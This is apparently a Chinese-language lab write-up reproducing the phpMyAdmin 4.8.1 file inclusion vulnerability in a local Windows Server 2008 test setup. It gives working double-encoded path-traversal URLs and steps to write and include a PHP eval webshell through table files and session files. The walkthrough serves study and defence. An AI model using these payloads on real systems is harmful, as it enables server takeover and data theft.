文章目录
- ---0x00 漏洞介绍---
- ---0x01漏洞原理---
- ---0x02影响版本---
- ---0x03 漏洞修护---
- ---0x04 漏洞环境---
- 第一步 下载phpstudy2018--->放在window server 2008里面
- 第二步 phpstudy没有安装VC11、VC14运行库参考文档
- 第三步 下载phpMyAdmin-4.8.1-all-languages
- 第四步 查看phpmyadmin版本
- 第五步 查看window server 2008的配置文件
- 第六步 数据库版本
- ---0x05 漏洞利用思路---
- ---0x06 漏洞复现---
- 方法一:直接包含文件
- 方法二:包含frm文件(表结构),通过在创建数据库表时将数据库的名称设为我们的php一句话木马。从而包含这个文件时可以执行一句话木马
- 第一步 [show variables like '%datadir%';] 查询数据库路径
- 第二步 创建表qwe
- 第三步 创建字段为一句话木马
- 第四步 查询win2008看是否写入
- 第五步 访问写入的文件位置
- 方法三:phpsession序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId文件。
- 免责声明
—0x00 漏洞介绍—
2018年6月19日,phpmyadmin在最新版本修复漏洞。phpMyAdmin 是一个以PHP为
基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可
用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改
、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
—0x01漏洞原理—
在phpMyAdmin 4.8.1版本的index.php文件中,第50-63行代码如下:
第四个判断是黑名单判断。在index.php中已经定义好了target_blacklist的值,它们是import.php和export.php,只要不等于这两个值就可以。
第五个判断Core::checkPageValidity($_REQUEST[‘target’]为真,通过全局搜索发现了代码在libraries\classes\Core.php文件的第443-476行
goto_whitelist的代码:
当传入二次编码后的内容,会让checkPageValidity()
这个函数返回true,但index中实际包含的内容却不是白名单中的文件。
例如:传入“?target=db_datadict.php%253f ”
,由于服务器会自动解码一次,所以在checkPageValidity()中,page的值一开始会是“db_datadict.php%3f”,又一次url解码后变成了“db_datadict.php?”,这时符合了?前内容在白名单的要求,函数返回true。但在index.php中_REQUEST[‘target’]仍然是“db_datadict.php%3f”,而且会被include,通过目录穿越,就可造成任意文件包含。最终通过该漏洞实现了上述攻击,这个漏洞也很快被修复并发布新版本。
—0x02影响版本—
phpMyAdmin 4.8.0
phpMyAdmin 4.8.1
—0x03 漏洞修护—
通过git changelog查看官方如何修复漏洞的。查找补丁源码发现修复手法简单粗暴,直接在checkPageValidity中多加了一个参数 include=true时,仅执行第一次判断$page的合法性,我们的payload也就没有办法进入到urldecode的步骤了.
—0x04 漏洞环境—
一台windows2008
phpstudy 2018
phpmyadmin4.8.1
第一步 下载phpstudy2018—>放在window server 2008里面
[https://www.xp.cn/download.html]
第二步 phpstudy没有安装VC11、VC14运行库参考文档
[https://blog.csdn.net/qq_41901122/article/details/104700734]
第三步 下载phpMyAdmin-4.8.1-all-languages
替换掉之前版本—>更换4.8.1—>更改文件名
第四步 查看phpmyadmin版本
[http://192.168.139.136/phpmyadmin/README]
第五步 查看window server 2008的配置文件
[C:\phpStudy\PHPTutorial\WWW\phpMyAdmin/README]
第六步 数据库版本
—0x05 漏洞利用思路—
第一步 明确版本
第二步 文件包含漏洞
第三步 获取漏洞利用的条件
show VARIABLES like ‘%char%’;查看系统路径select @@datadir;查看数据存储路径
第四步 写入shell,构造payload
—0x06 漏洞复现—
方法一:直接包含文件
[ http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/Windows\win.ini]
方法二:包含frm文件(表结构),通过在创建数据库表时将数据库的名称设为我们的php一句话木马。从而包含这个文件时可以执行一句话木马
第一步 [show variables like ‘%datadir%’;] 查询数据库路径
第二步 创建表qwe
第三步 创建字段为一句话木马
第四步 查询win2008看是否写入
注意 写入的一句话需要用GET方式,POST方式尝试过无法成功
第五步 访问写入的文件位置
[ http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/phpStudy\PHPTutorial\MySQL\data\test\qwe.frm]
方法三:phpsession序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId文件。
第一步 [ select ‘<?php phpinfo() ?>’;]
第二步 F12查看网站Session值,查看当前页面cookie中的phpmyadmin的值
第三步 构建包含Session值的URL路径。
访问【http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/phpStudy\PHPTutorial\tmp\tmp\sess_v4v23hqph5m5ljnq12860p647319mqqd】
第四步 此时 尝试[ select ‘<?php @eval($_GET[w]); ?>’;]
免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!
参考链接:https://blog.csdn.net/Eastmount/article/details/103925419/